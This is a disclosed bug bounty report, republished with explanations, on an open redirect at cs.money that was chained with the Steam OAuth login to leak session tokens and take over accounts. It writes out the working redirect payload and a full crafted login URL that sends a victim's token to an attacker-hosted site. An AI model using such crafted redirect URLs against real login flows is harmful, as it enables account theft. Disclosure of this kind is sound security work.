[cs.money] Open Redirect Leads to Account Takeover
An open redirect on the cs.money domain allowed an attacker to redirect users to an arbitrary site. By chaining this with the OAuth login flow, the attacker could steal the victim's authentication token and take over their account.
Originally disclosed on HackerOne
- Triaged in 3 days
- Fixed in 3 days
- Paid in 3 days
- Disclosed after 3 months
Summary:
I found an open redirect on https://cs.money domain, using this payload https://cs.money///google.com we can redirect into any domain that we want, you can see the request and response from this image below :
███
Steps To Reproduce:
The final payload is having an account takeover as the impact, by chaining the openredirect vulnerability with login oauth function, the steps to reproduce is below:
- Open this url
https://auth.dota.trade/login?redirectUrl=https://cs.money///loving-turing-29a494.netlify.app%2523&callbackUrl=https://cs.money///loving-turing-29a494.netlify.app%2523, the login url was gotten fromcs.moneyindex page buttonsign in through steam:
█████████
- Login as usual, the application will redirect you to
https://loving-turing-29a494.netlify.app/#?token=Dlk9sGd8zc6OvxlITijQR&redirectUrl=https://cs.money///loving-turing-29a494.netlify.app#you will see like this image :
███████ 3.the attacker already received the victim token on the attacker listener ███
If the vulnerability requires hosted server, please, let us know if it is a public or a local one you've tested vulnerability on.
Public
My POC Hosted here : loving-turing-29a494.netlify.app
I also create the video POC that show an attacker take over an victim account : █████
Impact
Attacker gained full control of the victim account, was able to change the trade-offer link into the attacker link and redeem all the items into attacker account and almost can do anything.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application did not properly validate the redirect URL, allowing a crafted URL to bypass restrictions and redirect to an attacker-controlled domain, which then leaked the authentication token.
Impact
Attacker gained full control of the victim account, was able to change the trade-offer link into the attacker link and redeem all the items into attacker account and almost can do anything.
What the attacker needed
Victim clicks a crafted link; victim logs in through Steam
How it was found
- Open the crafted login URL that includes the malicious redirect and callback parameters.
- Log in as usual through the Steam sign-in.
- The application redirects to the attacker's site with the token in the URL fragment.
- The attacker captures the token on their listener.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An open redirect is a flaw where a website sends you to another site based on a link you click. Here, the login system trusted that link and included a secret token in the redirect, so the attacker's site received the token and could log in as the victim.
What is Open redirect?
A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.